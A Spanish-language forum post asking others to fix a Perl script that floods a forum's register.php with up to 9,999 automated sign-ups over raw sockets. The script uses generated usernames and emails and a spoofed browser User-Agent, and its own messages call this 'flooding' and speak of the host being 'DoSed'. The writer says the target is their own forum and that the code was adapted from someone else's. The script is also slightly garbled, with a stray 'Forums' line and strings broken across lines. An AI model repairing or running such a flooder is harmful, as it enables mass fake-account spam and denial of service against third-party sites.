Entonces estoy intentando hacer un script que cree una cantidad de user para ver si mi foro cae pero no puedo hacerlo funcionar. Ahí dejo mi código para que me corrijan. Gracias.
- #!/usr/bin/perl
- use IO::Socket;
- $x = 0;
- print q(register user xD);
- print q(Host |sin http://www.| );
- $host = <STDIN>;
- chop ($host);
- print q(Ruta del foro |ejemplo. /foro/ or /| );
- $pth = <STDIN>;
- chop ($pth);
- start:
- print q(Flood Type |1 = Registrar| );
- $type = <STDIN>;
- chop ($type);
- if($type == 1){
- while($x != 9999)
- {
- ## Creando el usuario
- $uname = "user__" . "$x";
- ## Ceando el mail del usuario
- $umail = "&email=mail__" . "$x";
- ## String Final a enviar
- $postit =
- "step=2&username=.$uname.&displayname=.$uname.&password=0123456&passwor
- dconfirm=0123456.$umail.%40msn.com&submit=Submit%21";
- ## Longitud del String
- $lrg = length $postit;
- ## Connect Socket with Variables Provided By User
- my $sock = new IO::Socket::INET (
- PeerAddr => "$host",
- PeerPort => "80",
- Proto => "tcp",
- );
- die "\nThe Socket Can't Connect To The Desired Host or the Host is
- MayBe DoSed: $!\n" unless $sock;
- Forums
- print $sock "POST $pth"."register.php HTTP/1.1\n";
- print $sock "Host: $host\n";
- print $sock "Accept:
- text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
- in;q=0.8,image/png,*/*;q=0.5\n";
- print $sock "Referer: $host\n";
- print $sock "Accept-Language: en-us\n";
- print $sock "Content-Type: application/x-www-form-urlencoded\n";
- print $sock "Accept-Encoding: gzip, deflate\n";
- print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US;
- rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
- print $sock "Connection: Keep-Alive\n";
- print $sock "Cache-Control: no-cache\n";
- print $sock "Content-Length: $lrg\n\n";
- print $sock "$postit\n";
- close($sock);
- syswrite STDOUT, ".";
- $x++;
- }
- }
- elsif ($type != 1){
- print q(
- ÉÍÍÍÍÍÍÍÍÍÍÍÍ»
- º Solo 1 wey º
- ÈÍÍÍÍÍÍÍÍÍÍÍͼ
- );
- goto start;
- }
Si desean dejo también la url de mi foro. Bueno, espero su ayuda. Gracias.
PD: me basé en otro código para hacerlo, así que el código no es totalmente mío.
